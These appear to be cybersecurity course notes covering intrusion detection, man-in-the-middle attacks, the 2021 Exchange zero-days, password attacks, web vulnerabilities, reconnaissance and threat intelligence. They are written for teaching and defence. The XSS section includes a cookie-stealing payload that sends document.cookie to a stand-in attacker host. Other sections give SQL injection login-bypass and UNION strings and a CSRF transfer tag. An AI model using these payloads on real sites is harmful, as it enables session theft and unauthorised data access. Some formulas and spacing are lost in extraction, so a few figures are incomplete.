IDS: monitors traffic or host activity, detects signs of attack, alerts. IPS: sits inline and also blocks.
| Point | IDS | IPS |
|---|---|---|
| Position | Passive, copy of traffic (span, tap) or host logs | Inline |
| Action | Alert (passive); some reconfigure a firewall (active) | Drop, reset, block |
| False alarm cost | Analyst time | Real users blocked |
| On failure | Traffic flows unwatched | Choose fail open or closed |
| Examples | Snort, Suricata (IDS mode); OSSEC, Wazuh | Snort, Suricata inline; next-generation firewalls |
| Method | Decides by | Strength | Weakness |
|---|---|---|---|
| Knowledge-based (signature) | Known attack patterns | Few false alarms, precise | Blind to new attacks, zero-days |
| Behavior-based (anomaly, heuristic) | Deviation from a learned baseline | Catches unknown attacks, floods | High number of false alarms; tuning |
HIDS: one host's logs, files, processes; sees after decryption; must be on every host. NIDS: a segment; sees scans and floods; blind inside encryption. False positive: alert, no attack; false negative: attack, no alert (worse). IDSs detect many DoS attacks, scans and worms; alerts feed the SIEM; NDR succeeds the NIDS, EDR the HIDS.
Man-in-the-middle attacks: interception, then decryption
MITM: the attacker secretly sits between two parties who think they talk directly, and can read, change or inject traffic; targets credentials, card numbers, cookies. CompTIA: on-path attack.
Figure: the two phases, ARP spoofing for interception and SSL stripping for decryption, with the defences.
| Point | Interception | Decryption |
|---|---|---|
| Goal | Route traffic through the attacker | Read encrypted traffic |
| Problem | Position | Readability |
| Technique | ARP spoofing: forged ARP replies map the gateway's IP to the attacker's MAC (and the victim's, for the gateway) | SSL stripping: HTTPS to the server, plain HTTP to the victim, https links rewritten |
| Others | DNS spoofing, evil twin, DHCP spoofing, BGP hijack | Fake certificate clicked through, weak cipher downgrade, look-alike domain |
| Defence | Dynamic ARP inspection, DHCP snooping, port security, 802.1X, static ARP, VPN | HSTS preload, HTTPS everywhere, pinning, heed certificate warnings |
ARP spoofing: ARP has no authentication; hosts accept unsolicited replies; the attacker forwards frames so nothing breaks. SSL stripping: users type bank.com, the first request is HTTP; the attacker blocks the upgrade; HSTS (header seen, or preload list) forces HTTPS; demonstrated by Moxie Marlinspike's sslstrip, 2009. After: both phases expose cookies, leading to session hijacking; interception alone still leaks metadata.
Zero-day exploits, and the 2021 Exchange Server attack
Zero-day vulnerability: a flaw unknown to the vendor with no patch (zero days to fix). Zero-day exploit: the attacker's code for it. Zero-day attack: using it in the wild before a defence or patch. An earlier slide, more loosely: security flaws discovered by hackers that have not been thoroughly addressed by the security community, with two main reasons systems are affected (the windows below).
Life cycle (the deck's figure): discovery, exploit created, attack launched, public and vendor aware, published, signature created, patch built, patch installed. Unknown vulnerability: discovery until the vendor has built the patch; no fix exists, and the vendor learns of the flaw only at the fourth step, after attacks begin. Window of exposure: discovery until the patch is installed, adding the administrators' delay. Window of vulnerability (deck): its two causes, the delay to patches and antivirus updates, and slow administrators.
The class notes' windows differ: window of vulnerability from discovery to the released and installed patch; window of exposure from the first exploit until finally patched. The terms are used loosely: follow the deck's figure, define the term in an answer.
Why zero-days are high-impact (the deck's heading):
- Bypass traditional defences: signature-based antivirus and intrusion detection systems generally fail, no pre-existing signatures exist yet.
- No patch available: administrators cannot fix it until the vendor releases a patch; only layered protection (least privilege, segmentation, behaviour monitoring).
- State-sponsored usage: high monetary value on the black and grey market, so nation-state advanced persistent threats (APTs) develop or acquire advanced zero-days for espionage.
- A clear window of opportunity (the notes): targets have no specific way to defend against, or even detect, the attack.
- Silent use for months (responsible disclosure fixes first).
Microsoft Exchange, March 2021
Out-of-band patches on 2 March 2021 for four zero-days in on-premises Exchange (2013, 2016, 2019; Exchange Online unaffected); Microsoft attributed the attacks to HAFNIUM (assessed state sponsored, operating from China). DEVCORE named the first flaw ProxyLogon; exploitation began in early January.
Reading a CVE row:
- CVE ID: Common Vulnerabilities and Exposures number, CVE-year-sequence, run by MITRE; one identifier for one specific flaw in one product.
- Severity and CVSS score: Common Vulnerability Scoring System, 0 to 10 (the deck gives CVSS version 3 base scores): 9.0 to 10.0 critical, 7.0 to 8.9 high, 4.0 to 6.9 medium, 0.1 to 3.9 low; chapter 7 prioritises with scores plus context.
- Flaw type: the kind of mistake, MITRE's CWE (Common Weakness Enumeration): CWE-918 SSRF, CWE-502 deserialisation of untrusted data.
| CVE ID | Severity and score | Theoretical flaw type | Practical role in the attack chain |
|---|---|---|---|
| CVE-2021-26855 | Critical, 9.1 | SSRF | Initial access: bypasses authentication, masquerades as the server |
| CVE-2021-26857 | High, 7.8 | Insecure deserialisation | Privilege escalation: code as SYSTEM |
| CVE-2021-26858 | High, 7.8 | Arbitrary file write | Persistence: web shells after authentication |
| CVE-2021-27065 | High, 7.8 | Arbitrary file write | Persistence: second web shell route (China Chopper) |
The flaw types: SSRF (server-side request forgery) makes the server itself send a request for the attacker, here passed to Exchange's back end as if from the Exchange server, which it trusts, so no login; insecure deserialisation rebuilds program objects from untrusted, unchecked data, so a crafted object runs the attacker's code (here as SYSTEM; the Magento flaw behind MageCart was the same kind); arbitrary file write puts a file of the attacker's choosing anywhere, such as a web shell in a folder the web server runs code from.
Phase 2, post-exploitation and lateral movement (after the exploit gained execution rights on the Exchange server):
- Web shell deployment: China Chopper (a one-line ASPX back door), a persistent back door that survives service restarts.
- Credential theft: hashed and plaintext credentials extracted from server memory.
- Active Directory database exfiltration:
NTDS.ditstolen.
Phase 3, blast radius and systemic impact: AD theft is the worst-case scenario in enterprise security.
- Domain-wide compromise: the AD database grants domain administrator privileges and every password hash in the organisation.
- Loss of trust: once the AD database is stolen, attackers can generate persistent access tokens.
- The recovery nightmare: antivirus scanning or the vendor patch is no longer enough; the identity architecture is compromised, so the whole Active Directory domain is rebuilt from scratch as incident remediation.
- After disclosure: mass exploitation by other groups (DearCry ransomware); CISA Emergency Directive 21-02 (patch or disconnect); April 2021 FBI court order removed web shells from hundreds of US servers.
Deck Q1, controls that could have alerted: EDR (w3wp.exe or UMWorkerProcess.exe spawning cmd.exe or PowerShell, LSASS dumps); file integrity monitoring (new .aspx files); SIEM web log analysis (odd POSTs to /ecp/, /owa/); network and egress monitoring (new outbound connections, archives leaving); UEBA (service accounts off baseline, AD database access at odd hours); threat hunting with published indicators, honeytokens; less exposure (no internet-facing OWA or admin centre, or VPN only).
Deck Q2, why the patch did not fix exploited servers: a patch closes the door, not the intruder; web shells are files independent of the flaw; stolen credentials and AD let attackers log in legitimately; new accounts, tasks and copied data persist; cure is incident response: scope, remove every web shell, reset all credentials (krbtgt twice), rebuild, watch.
Password attacks: guessing, dictionary, brute force, spraying and stuffing
Password attack: finding or reusing a password when it is unknown or only its hash is held; MITRE ATT&CK brute force T1110 (guessing, cracking, spraying, credential stuffing). Online attacks hit a live login (slow, noisy, lockout); offline attacks crack stolen hashes (no lockout, no logs, billions of guesses a second).
| Attack | How | Where | Signal |
|---|---|---|---|
| Guessing | Likely passwords, no prior knowledge; risks lockout | Online | Many failures on one account |
| Dictionary | Every entry of a likely-password list | Mostly offline | Watch for hash theft |
| Brute force | Every combination; certain in time | Offline | As above |
| Spraying | One or few common passwords (Spring2025!) against many accounts, dodging lockout | Online | Few failures each on many accounts, one source |
| Credential stuffing | Breach-dump pairs replayed; credential overlap | Online | Automated logins, many accounts and IPs |
| Rainbow table | Precomputed hash chains | Offline | Defeated by salting |
The person is the shortest path: an earlier slide lists password attacks as password guessing, dictionary attacks and social-engineering attacks: phishing, spear phishing, whaling and vishing ask the victim for the password, dumpster diving finds it on a note in the rubbish. No guessing needed, so MFA matters even with a strong password.
Why length beats complexity (at an assumed ten billion guesses a second)
- 8 lowercase letters: , about 21 seconds.
- 8 of 95 printable characters: , about 7.7 days.
- 16 lowercase letters: , over 100,000 years.
Defences: MFA (phishing-resistant); screen against breached and common passwords, favour length, password managers (unique passwords end stuffing); lockout or growing delays tuned against lockout abuse, per-source limits, CAPTCHA; salted slow hashing (bcrypt, scrypt, Argon2, PBKDF2); monitoring (event 4625 failed logon, 4740 lockout; one source failing across many accounts is spraying; chapter 4's "User Admin failed login 37 times" is guessing).
Password changes: the deck says regular changes; NIST SP 800-63B drops forced periodic changes (predictable patterns) and changes on evidence of compromise. Nepal: unauthorised access with another's password is an offence under the Electronic Transactions Act 2008.
Buffer overflow, TOCTOU, back doors and rootkits
Buffer overflow: the developer does not check that input fits the fixed-size buffer; oversized input overwrites adjacent memory.
- Layout: a 16-byte stack buffer, then the saved frame pointer and the return address.
- Unchecked copy:
strcpy()orgets(). - Payload: filler, then an address landing on the return address, often shellcode.
- Hijack: the function returns into the attacker's code, with the program's privileges.
The deck's figure: the application asks for an input (a name); the attacker inserts a long string to overflow the buffer space; buffer overflowed; the attacker inserts shellcode in memory; the attacker gets command execution on the target. Its stacks, from the top: function, parameters, return function (return address), base pointer (saved frame pointer), buffer; after the attack, malicious code has climbed from the buffer over the base pointer and the return address.
A wrong guess crashes the program (DoS). The Morris worm used it on the finger daemon. Defences, three layers (as in the class notes):
- Memory-safe languages: Rust, Java, C#, Go, Python check bounds themselves.
- Secure coding, if C or C++ must be used: bounds checks and validation; never
gets(),strcpy(),sprintf(); alwaysfgets(),strncpy(),strncat(),snprintf(), which take the buffer size. - Compiler and OS-level protections: stack canaries (a random value before the return address; if an overflow has overwritten it, the program detects the tampering and aborts); ASLR, address space layout randomisation (key program areas at random addresses, so the attacker cannot know where to jump); DEP, data execution prevention, also called NX (no-execute): stack and heap non-executable, so shellcode cannot run.
TOCTOU (TOC/TOU): a timing vulnerability, a race condition: a check made too far ahead of the use, and the resource changes in between.
- Deck example: transfer 10 dollars; read account 1 into
a1(check), confirm more than 10, credit account 2, subtract froma1, writea1back (use); the gap is the opportunity of risk. Two transfers from a balance of 15 both pass, both pay 10, both write 5: account 2 gains 20, account 1 loses 10. - File version: a privileged program checks
/tmp/report, the attacker swaps in a link to/etc/passwdbefore it is opened. - Defences: atomic check and use; locks or transactions; re-check at use; file handles, not names.
Back doors: undocumented command sequences that bypass access restrictions; developers' maintenance hooks left in; attackers' web shells; found by code review and testing. Escalation of privilege: from a user foothold to administrator, often with rootkits. Rootkits: privileged, hidden malware hooking the OS so its tools lie; the deeper, the earlier it runs and the harder to find.
| Depth | Where it lives | What removes it |
|---|---|---|
| User mode | Replaces or hooks ordinary programs and libraries | Integrity checks, reinstalling the software |
| Kernel mode | A malicious driver in the OS kernel, lying to every tool above it | Scans from clean boot media, reinstalling the OS |
| Bootkit | The boot process (MBR, boot loader, UEFI boot components), loading before the OS and its security tools; MBR viruses such as Michelangelo were its ancestors | Secure Boot and measured boot; rebuilding the boot records |
| Firmware rootkit | The UEFI or BIOS firmware chip on the motherboard | Only reflashing the firmware |
UEFI and the BIOS: firmware starts the computer before any OS loads; the old BIOS (basic input/output system) is replaced on modern PCs by UEFI, the Unified Extensible Firmware Interface, kept in a flash chip on the motherboard, not the disk, so code there runs first at every boot, beyond antivirus and disk wipes. LoJax: a UEFI rootkit used by APT28 to persist remote access software on targeted systems; found by ESET in 2018, the first UEFI rootkit in the wild; writes itself into the motherboard's flash and reinstalls its agent every boot, surviving a disk wipe, an OS reinstall, even a new hard disk; the agent is a modified copy of the LoJack anti-theft software (hence the name); Secure Boot would have blocked it (its UEFI module is not properly signed). Detection: integrity baselines, clean-media scans, Secure Boot and measured boot; cure: reflash and rebuild.
| Attack | Root cause | Core defence |
|---|---|---|
| Buffer overflow | Length unchecked | Bounds checks, safe functions, canaries, ASLR, DEP |
| TOCTOU | Gap between check and use | Atomic operations, locks, transactions |
| Back door | Hidden authentication bypass | Code review, testing, change control |
| Rootkit | Hidden privileged malware | Integrity checks, Secure Boot, rebuild |
Cross-site scripting: reflected, stored and DOM-based
XSS: an injection attack getting attacker script, usually JavaScript, delivered to users inside a trusted site's pages; it runs with the site's privileges: steals cookies, hijacks sessions, runs malware, bypasses access control, exploits browser flaws. Root cause: untrusted input placed in a page unencoded. It exploits the user's trust in the site.
Types (the deck): nonpersistent (reflected), persistent (stored), DOM-based or local XSS. DOM, the Document Object Model: the standard structure the browser uses to represent HTML and XML documents, a tree of elements, form fields and cookies that scripts read and change.
Figure: the three XSS types side by side, four steps each, with where the payload lives and who is hit.
| Point | Reflected | Stored | DOM-based |
|---|---|---|---|
| Payload | In the request (URL parameter), not saved | In storage: database, post, comment, guest book, profile | In client script and the DOM, often after the #, never sent to the server |
| Flow | Crafted URL; server echoes the parameter; browser runs it | Attacker posts script; server stores it; every visitor runs it | Page's own script reads location.hash, document.URL, a field or cookie, writes via innerHTML, document.write, eval |
| Server sees it | Yes, echoes | Yes, stores | Often never |
| Victims | One per click | Every viewer | One per click; invisible to server logs and WAFs |
| Deck example | Mike<SCRIPT>alert('hello')</SCRIPT>; comments parameter sending document.cookie | A forum post with a script | <script>alert(document.cookie)</script> via modified client script |
| Mitigation 1 | Context output encoding | Encode on output everywhere | Avoid insecure JavaScript sinks: safe DOM APIs textContent, setAttribute |
| Mitigation 2 | Allow-list validation plus CSP | Server-side allow-list sanitiser library | Client-side validation and encoding; Trusted Types with CSP |
Cookie thief: https://abc.org?comments=<script>new Image().src="http://evilHackerSite.com/grabcookie?c=" + document.cookie</script>; the browser requests an image carrying the cookie to the attacker's server log.
The deck's DOM-XSS workflow (the website is labelled secure: the flaw is in its client-side script):
- The attacker crafts a URL containing the malicious string and sends it to the victim.
- The user is tricked into opening the link and requesting the malicious URL from the website.
- The website receives the request but does not include the malicious string in its response.
- The user's browser runs the legitimate script in the response, which inserts the malicious script into the page.
- The browser executes the malicious script inserted by the client-side code.
- The user's sensitive information is sent to the attacker's server.
The deck's mislabelled figure: the reflected XSS slide's figure, captioned "Reflected XSS attack example", shows a stored attack (find a site allowing script injection, inject a cookie-stealing script, it activates on every visit, each cookie goes to the perpetrator); the stored XSS slide reuses it rightly. Reflected XSS needs a crafted link per victim.
All types: HttpOnly, Secure, SameSite cookies; CSP allowing only own-origin scripts. OWASP Top 10 (2021): A03 Injection.
Cross-site request forgery (XSRF or CSRF)
XSRF (CSRF): the victim's browser sends an unwanted, state-changing request to a site where the victim is logged in; the cookie is attached, so the forgery looks real. Trust: XSS exploits the user's trust in a site; XSRF the site's trust in the user's browser. It assumes users are logged in to many sites at once.
Figure: the forged request as a sequence: log in, cookie set, attacker's page fires a hidden form, the browser sends the transfer with the cookie, the bank obeys; token and SameSite as the defence.
Banking example (deck): a forum link that is really a transfer request to the attacker's account; any logged-in clicker sends it. No click needed with <img src="https://bank.example/transfer?to=attacker&amount=50000"> or a self-submitting form.
The deck's figure, five steps: (1) the victim logs into the bank account; (2) the bank assigns the victim a validation token (the logged-in session); (3) the hacker sends a forged request disguised as legitimate communication from the bank; (4) the victim unknowingly forwards the request to the bank; (5) the bank executes the forged request using the previously assigned validation token.
Two tokens, not one: the figure's "validation token" is the session credential (usually the cookie) that the browser sends by itself, which is why the forgery works; the anti-CSRF token is a different secret in each real form, which the attacker cannot read and the browser never adds.
- Anti-CSRF tokens, also anti-XSRF tokens (synchronizer token): a secret per-session token in every form, checked on each state-changing request; the primary defence, the most common and robust (the deck: secure tokens the attacker would not know to embed in the links).
- Referring URL check (Origin and Referer header validation):
OriginorReferermust be the site's own pages. - The SameSite cookie attribute: Strict or Lax; Chrome and Edge default to Lax.
- No state change over GET: POST with a token only.
- Re-authentication for transfers, password and email changes.
- Short sessions, real logout; custom headers for scripted requests; double submit cookie.
Name: CSRF and XSRF are one attack (also session riding, one-click attack). An XSS flaw defeats CSRF defences by reading the token.
SQL injection
SQL injection: unexpected input to an application that builds queries by joining strings breaks out of its data position and runs as SQL, giving unauthorised database access. Riskier than XSS for the organisation: it reaches every record at once.
query = "SELECT * FROM users WHERE name = '" + name + "' AND pass = '" + pass + "'"
name = ' OR '1'='1' --
SELECT * FROM users WHERE name = '' OR '1'='1' -- ' AND pass = ''
The quote closes the string, OR '1'='1' is always true, -- comments out the password check: login as the first user, often admin. UNION (deck figure): ' UNION SELECT username, password FROM users-- appended to SELECT name, description FROM products WHERE category = 'Gifts' returns all credentials.
| Type | How the answer comes back |
|---|---|
| In-band, error-based | Error messages reveal structure, data |
| In-band, UNION-based | UNION SELECT joins stolen rows |
| Blind, boolean | Page changes on true or false |
| Blind, time-based | SLEEP or WAITFOR DELAY on true |
| Out-of-band | Database sends data out, for example by DNS |
Damage: login bypass, all data read, records changed or deleted, tables dropped, sometimes OS commands.
Protecting against SQL injection (SQLi), the deck's three:
- Use prepared statements: developers of web applications should leverage prepared statements to limit the application's ability to execute arbitrary code. Parameterised queries and stored procedures fix the structure, input bound as data; the SQL statement is stored on the database server, changed only by database administrators and developers with appropriate access; the application passes parameters but cannot alter the structure. The real fix.
- Perform input validation: allow-list type, length, format; supporting control.
- Limit account privileges: least privilege DB account.
Also generic error pages, a WAF, regular testing (the web vulnerability lab).
The core difference from reflected XSS is the target and where the malicious code is executed: SQLi targets the backend database server, which runs the SQL; reflected XSS targets the end-user's web browser, which runs the script, the server only a mirror.
| Point | SQL injection | Reflected XSS |
|---|---|---|
| Target | Backend database | User's browser |
| Code runs | Server, database engine | Victim's browser |
| Confusion | Data as SQL | Data as HTML or JavaScript |
| Delivery | Attacker sends it directly | Victim lured to a crafted URL |
| Harm | Organisation, every record | One user's session |
| Fix | Prepared statements | Output encoding, CSP |
The four critical web vulnerabilities together, and how to build resilience
The board question: XSS, XSRF, buffer overflow and SQL injection, then best practices.
Figure: the four vulnerabilities placed on one request path (browser, web application, server memory, database), each with the trust it abuses and its fix.
| Vulnerability | What happens | Trust abused | Impact | Key fix |
|---|---|---|---|---|
| XSS | Unencoded input runs as script in the victim's browser | User's trust in the site | Cookies, sessions, actions as the user | Output encoding, CSP |
| XSRF | Another site makes the browser send an authenticated state change | Site's trust in the browser | Transfers, password or email changes | Anti-CSRF token, SameSite |
| Buffer overflow | Oversized input overwrites memory and the return address | Input assumed to fit | Crash or arbitrary code | Bounds checks, safe functions, canaries, ASLR, DEP, memory-safe languages |
| SQL injection | Input runs as part of an SQL query | Parameters assumed to stay data | Database read, changed, destroyed; login bypass | Prepared statements, least privilege |
Thread: three are injection (script, SQL, machine code); XSRF forges intent.
- Input validation on the server (allow-list type, length, format, range; reject).
- Output encoding for its context; auto-escaping templates.
- Parameterised queries, never code built from strings: prepared statements, safe DOM APIs, no
eval. - Tokens on every state change: anti-CSRF token, SameSite, POST only, re-authentication.
- Session hardening:
HttpOnly,Secure,SameSite, new ID at login, timeouts. - CSP and browser defences: a policy allowing only the site's own scripts, Trusted Types, security headers.
- Memory safety: memory-safe languages or safe functions, canaries, ASLR, DEP.
- Least privilege for DB account, service account, files.
- Errors quiet to users, detail in the logs, attack patterns monitored.
- Testing and patching: code review, SAST, DAST, dependency scanning, penetration testing, WAF, prompt patches.
Mnemonic for the ten in order: Ishwor Oralo Pasalma Tin Samosa Chorera, Mukhiyale Lathale Ekdam Thokyo (input validation, output encoding, parameterised queries, tokens, session hardening, CSP, memory safety, least privilege, errors, testing and patching).
Secure coding practices (CERT top ten plus two bonuses, in the deck): validate input; heed compiler warnings; architect and design for security policies; keep it simple; default deny; least privilege; sanitise data sent to other systems; defence in depth; effective quality assurance; a secure coding standard; define security requirements; model threats. The deck points to two views of MITRE's CWE (Common Weakness Enumeration): CWE-1026, the weaknesses in the OWASP Top Ten (2017), and CWE-1350, the weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses.
Reconnaissance attacks: IP probes, port scans and vulnerability scans
Reconnaissance: gathering information to find weak points worth attacking; the first kill chain stage; largely automated. Passive: OSINT (website, job adverts, social media, DNS, WHOIS, Shodan), no contact. Active: packets to the target, precise but detectable.
- IP probes (IP sweeps, ping sweeps): usually first; ICMP echo (or TCP probes) to a range; responders are live hosts. Nmap (
nmap -sn 192.168.1.0/24). - Port scans: open ports and services on each live host; prime targets web, file and critical servers. TCP connect (full handshake, logged); SYN half-open (
nmap -sS, quieter); UDP (slow); states open, closed, filtered; version detection and banners (nmap -sV). - Vulnerability scans: for the chosen target, a specific exploitable flaw; a variety of tools available on the internet match services and versions to known CVEs (rated by CVSS); tools Nessus, OpenVAS, Qualys, Core Impact, Nexpose.
| Stage | Question | Output | Tool | Defender |
|---|---|---|---|---|
| IP probe | Which hosts are alive? | Live IPs | Nmap, ping | Block inbound ICMP echo; alert on sweeps |
| Port scan | Which services run? | Open ports, services | Nmap | Close ports, default deny, IDS scan rules |
| Vulnerability scan | Which flaw is exploitable? | CVE list | Nessus, OpenVAS, Qualys, Core Impact, Nexpose | Scan and patch first, hide banners, honeypots |
Authorisation separates attack from assessment (chapter 7, 7.6); unauthorised scanning can be an offence. Detection: one source touching many addresses or ports quickly; honeypot contact.
Masquerading attacks: IP spoofing and session hijacking
Masquerading attack: pretending to be a trusted system or authorised user to gain refused access; IP spoofing fakes a machine, session hijacking steals a user's session.
IP spoofing: packets carry a trusted system's IP; effective without filters; enables reflected floods such as smurf; replies go to the real owner, so it suits one-way attacks and address-based trust. Perimeter filters:
- Inbound: no internal source addresses from outside (ingress filtering).
- Outbound: no external source addresses from inside (egress filtering).
- Private: no private addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) across the router either way, unless for an intranet.
These three rules eliminate most spoofing; ISPs applying them is BCP 38.
Session hijacking: intercept part of an authorised user's communication, take over the session, assume the identity; the session token (cookie) is the identity after login.
- Captured authentication: capture and replay client and server authentication details.
- Middleman: pose as the server during a legitimate connection, then disconnect the client (MITM).
- Unclosed session: reuse the cookie of a user who never logged out.
- Also: XSS token theft, sniffing on open Wi-Fi, session fixation (planted known ID).
Defences: HTTPS with HSTS; long random IDs, new at login and privilege change; HttpOnly, Secure, SameSite; idle and absolute timeouts, server-side logout; re-authentication.
| Point | IP spoofing | Session hijacking |
|---|---|---|
| Identity faked | A machine (IP) | A logged-in user (session) |
| Layer | Network | Session, application |
| Sees replies | Usually not | Yes |
| Use | Reflected floods, address trust | Account takeover after login |
| Defence | Ingress and egress filtering | Encryption, token hygiene, timeouts |
Specific preventive measures: deception, anti-malware, allowlisting and sandboxing
Controls that deceive, block or test.
| Measure | What it is | Why |
|---|---|---|
| Honeypot | Decoy system, no production use, made to look valuable | Any touch is suspicious; wastes time, reveals tools |
| Honeynet | Networked honeypots simulating a network | Shows lateral movement |
| Pseudo flaw | Deliberate false vulnerability or loophole | Draws intruders into a watched trap |
| Padded cell | Simulated environment offering fake data to retain an intruder's interest, similar to a honeypot; the IDPS transfers the intruder in without informing them | Isolates a live intruder while evidence is gathered |
| Warning banner | Login notice: restricted, monitored use; reminds of acceptable use | Deters; consent to monitoring; removes an excuse in court |
Enticement, not entrapment: offer an opportunity to someone already intent (lawful); luring someone into an unplanned offence is entrapment, and evidence may be unusable.
- Anti-malware: the most important protection; up-to-date signatures (known) plus heuristics (new variants); centrally managed.
- Whitelisting and blacklisting (allowlisting, denylisting): allowlisting (default deny) is stronger; unknown malware is not on the list.
- Firewalls: perimeter and host, denying unsolicited connections.
- Sandboxing: a security boundary; anti-malware detonates unknown files and watches them.
- Third-party security services: outsourced auditing and penetration testing for independence and skills.
- Penetration testing goals: how well a system can tolerate an attack; employees' ability to detect and respond in real time; additional controls to reduce risk.
Penetration-testing techniques, named by what the testing team knows:
| Technique | Team | Knows | Simulates | Trade-off |
|---|---|---|---|---|
| Black-box testing | Zero-knowledge team | Only what an outsider could find | An external attacker | Realistic, slow, can miss what it never finds |
| White-box testing | Full-knowledge team | Architecture, source code, configurations, credentials | The worst case, an attacker who knows everything | Thorough and quick to cover, less like a real outside attack |
| Gray-box testing | Partial-knowledge team | Part, such as a user account or the network map | An insider or logged-in user | A balance of realism and coverage |
Logging, monitoring and auditing
Logging records, monitoring reviews in time to act, auditing checks controls work; chapter 4 builds the platform. Logging technique: write the events that matter to logs (security, system, application, firewall, proxy, change logs), copy them to a central log server an intruder cannot erase, protect them from change, keep them as long as policy says. The role of monitoring: reviewing them, with the techniques below.
| Technique | What it does | Example |
|---|---|---|
| Audit trails | Record who did what, where, when; detect violations, software flaws, performance problems | Logon and file access records tied to a user |
| Accountability, investigations | Users answer for actions; trails as evidence | Tracing a leaked file to the copying account |
| Sampling | Review a subset: statistical (random) or nonstatistical | Spot checks of huge logs |
| Clipping levels | Nonstatistical: only events above a predefined threshold are reported | Alert after five failed logons in ten minutes |
| Keystroke monitoring | Records typing | Only under clear policy (privacy) |
| Traffic and trend analysis | Volume and pattern over time, not content | A host suddenly talking to a new country at 3 am |
| Egress monitoring | What leaves the network | Exfiltration, C2 beacons, bot spam |
| DLP | Scans for sensitive content, blocks or alerts; network-based and endpoint-based | Scanning for Confidential, Proprietary, Private, Sensitive |
Auditing: a methodical examination to ensure compliance and detect abnormalities, unauthorised occurrences or crimes; verifies security mechanisms; auditors test that procedures implementing policy exist, meet requirements and are followed.
- Privileged groups: review high-level administrator group membership.
- Dual administrator accounts: ordinary account for daily use, privileged one for admin only.
- Security audits: management controls in place: patch, vulnerability, configuration, change management (WannaCry was a patch management gap).
Security best practice against malware and attacks
Layers, defence in depth; the deck's organisational checklist:
| Area | Practice |
|---|---|
| Anti-malware | Centrally managed, up to date, everywhere |
| Patching | Patch early, patch often |
| Services | Disable file and printer sharing (or strong passwords, AD authentication); disable unneeded services |
| Privilege | Apply the principle of least privilege to all systems and services; restrict users' permissions to install and run applications |
| Passwords | Strong password policy; the deck adds regular password changes, which current guidance (NIST SP 800-63B) drops |
| Awareness | Increase IT security awareness: phishing and social engineering training; safe surfing; never open suspicious mail, click its links, post sensitive data or answer unsolicited credential requests; hover over links |
Block .dll, .exe and unscannable .zip; report suspicious mail; filter malspam indicators at the gateway | |
| Network | Personal firewalls deny unsolicited connections; block suspicious IPs; maintain ACLs |
| Web | Monitor browsing; restrict unfavourable sites |
| Media, downloads | Caution with USB, external drives, CDs; scan downloads before running |
| Threats | Situational awareness of the latest threats |
Smart home and remote work (the deck's list): consider the benefit and risk of each device; update firmware; build a secure Wi-Fi network; manage account passwords; enable two-factor authentication; split up the network (work devices apart from smart home gadgets); unplug unused devices; check app permissions.
Remote work consideration, the deck's last best practice slide, two columns of effort:
| Organization effort | Individual effort |
|---|---|
| Implement a zero-trust architecture | Security responsibility shifts to individual employees |
| Implement microsegmentation and software-defined networking (SDN) | Build a secure Wi-Fi network |
| Implement endpoint security and SOAR | Split up the network |
| Adequate backup and recovery systems | Avoid public Wi-Fi |
| Strong authentication | Adhere to the company's remote work policy |
| Use AI-powered cybersecurity | |
| Integration of threat intelligence |
UK NCSC 10 Steps to Cyber Security (the National Cyber Security Centre's infographic in the deck): defining and communicating the board's information risk regime is central; review it with nine associated security areas to protect against the majority of cyber attacks.
| Step | What it asks for |
|---|---|
| Set up a risk management regime (the centre) | Assess risks to information and systems with the same vigour as legal, regulatory, financial or operational risks; embed a regime across the organisation, backed by the board and senior managers; the ring: make cyber risk a priority for the board, produce supporting risk management policies, determine the risk appetite |
| Network security | Protect networks from attack: defend the perimeter, filter out unauthorised access and malicious content, monitor and test security controls |
| User education and awareness | User security policies on acceptable and secure use, in staff training; awareness of cyber risks maintained |
| Malware prevention | Relevant policies and anti-malware defences across the organisation |
| Removable media controls | A policy controlling all access to removable media; media types and use limited; all media scanned for malware before import |
| Secure configuration | Security patches applied, secure configuration maintained; a system inventory and a baseline build for all devices |
| Managing user privileges | Effective management processes, few privileged accounts, limited privileges, user activity monitored, access to activity and audit logs controlled |
| Incident management | Incident response and disaster recovery capability; plans tested; specialist training; criminal incidents reported to law enforcement |
| Monitoring | A monitoring strategy and policies; all systems and networks monitored continuously; logs analysed for unusual activity |
| Home and mobile working | A mobile working policy staff are trained in; the secure baseline build on all devices; data protected in transit and at rest |
Revised in 2021: the current list reorganises the steps and adds asset management and supply chain security, among others.
Chapter 3: Cyber threat modeling and threat hunting 10820 words
What threat intelligence is, and why a team needs it
Threat intelligence (Gartner, Rob McMillan, 2013): evidence-based knowledge, including context, mechanisms, indicators, implications and actionable advice, about an existing or emerging menace or hazard to assets, that can be used to inform decisions regarding the subject's response to that menace or hazard. The deck prints the year as 2003; Gartner published it in 2013.
The idea, as the deck opens the topic: what if we could learn from how others were attacked, before we face the same attack ourselves? Learning from others, acting before we face it ourselves. A bank that knows a group is phishing finance staff with fake payroll emails this week warns staff, blocks the sender domains and enables a detection rule before the first email arrives.
| Level | What it is | Example |
|---|---|---|
| Data | raw, unprocessed facts | a feed of 5,000 IP addresses |
| Information | data organized and given context | 40 of them are botnet command servers |
| Intelligence | information analyzed for a decision, with judgement and advice | three of those servers talk to two of our hosts: block them, isolate the hosts |
Information becomes intelligence only when processed, contextualized and made actionable for a specific decision maker at the right time.
- Forrester: details of the motivations, intent and capabilities of internal and external threat actors, including their TTPs; its purpose is to inform business decisions about risk.
- FIRST (2018): systematic collection, analysis and dissemination of information about a company's operation in cyberspace (and to an extent physical space), to inform all levels of decision makers.
- Intelligence in general: the product of directed collection and processing of information about the environment and the capabilities and intentions of actors, to identify threats and offer opportunities for exploitation by decision makers.
- The class notes: the process of collecting, analyzing and using information about potential or existing cyber threats; it shows the motives, capabilities and behaviors of threat actors, so a team can prevent, detect and respond proactively, prioritize the most relevant threats and improve its overall security posture.
- Three meanings of CTI (Martin Lee): the data collected, the team and process that analyze it, a product vendors sell. As a process: gather, analyze, synthesize into a product. As a product: helps its recipient decide.
Why use it (four reasons, with the deck's slide labels):
- Strengthen your defenses (proactive defense): know which attack vectors adversaries actively exploit against similar organizations and harden controls first; the notes: increases resilience by highlighting common attack points.
- Identify current threats (threat identification): a living, continuously updated database of known IoCs matched against logs and traffic.
- Uncover the unknowns (discovery): identifies gaps in detection coverage (parts of the IT landscape no rule, alert or signature catches) and reduces dwell time by surfacing threats beneath the radar.
- Focus hunt hypotheses (targeted threat hunting): enriches logs with external context and creates awareness of sector-relevant compromise paths, guiding hunters to the highest-value targets; the notes call it specified threat hunting.
